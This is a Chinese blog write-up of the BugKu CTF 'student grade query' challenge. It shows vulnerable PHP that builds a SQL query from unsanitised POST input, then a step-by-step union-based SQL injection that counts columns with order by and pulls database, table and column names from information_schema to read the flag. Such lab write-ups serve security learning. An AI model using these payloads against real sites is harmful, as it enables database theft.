BugKu学生成绩查询 详解 SQL注入

根据测试,源代码伪代码如下:

<?php

//链接数据库
mysql_connet("[datebase]","[user]","[password]") or
//检查错误,处理无法访问数据库的情况
die("Could not connect:" . mysql_error());

//选择数据库
mysql_select_db("[database_name]");

//从POST请求中获取id的值
$id = $_POST["id"];

//创建并执行一条SQL语句
$result = mysql_query("SELECT * from ".$TableName."where id = '$id' ");

?>

1’ order by 4#返回正常,
输入1’ order by 5#返回异常。
(按照sql的语法#起注释作用,所以#后面的单引号就被注释掉了)
当数字等于5的时候报错,
那说明当前表只有4个字段并且只有4列。

接下来就开始暴库名、表名、字段名。

首先爆库名:通过id=-1’ union select 1,2,3,database()#
执行的SQL语句:
SELECT * from “.$TableName.”
where id = ‘-1’ union
select 1,2,3,database()#’

database()将会返回当前网站所使用的数据库名字
user()将会返回执行当前查询的用户名
version() 获取当前数据库版本

得到数据库名字skctf_flag

然后爆表:
information_schema 是 MySQL 自带的一张表,
这张数据表保存了 MySQL 服务器所有数据库的信息,
如数据库名,数据库的表,表栏的数据类型与访问权限等。
该数据库拥有一个名为 tables 的数据表,
该表包含两个字段 table_name 和 table_schema,
分别记录 DBMS 中的存储的表名和表名所在的数据库。

group_concat语法:
功能:将group by产生的同一个分组中的值连接起来,返回一个字符串结果。

通过使用
id=-1’ union select 1,2,3,group_concat(table_name) from information_schema.tables where table_schema=database()#

执行的SQL语句:
SELECT * from “.$TableName.”
where id = ‘-1’ union
select 1,2,3,group_concat(table_name) from information_schema.tables where table_schema=database()#’

得到表名:fl4g,sc

接下来暴字段:
通过id=-1’ union select 1,2,3,group_concat(column_name)
from information_schema.columns
where table_name=‘fl4g’#

得到字段skctf_flag

查询数据,通过使用:
id=-1’ union select 1,2,3,skctf_flag from fl4g#

得到flag

  • 0
    点赞
  • 2
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值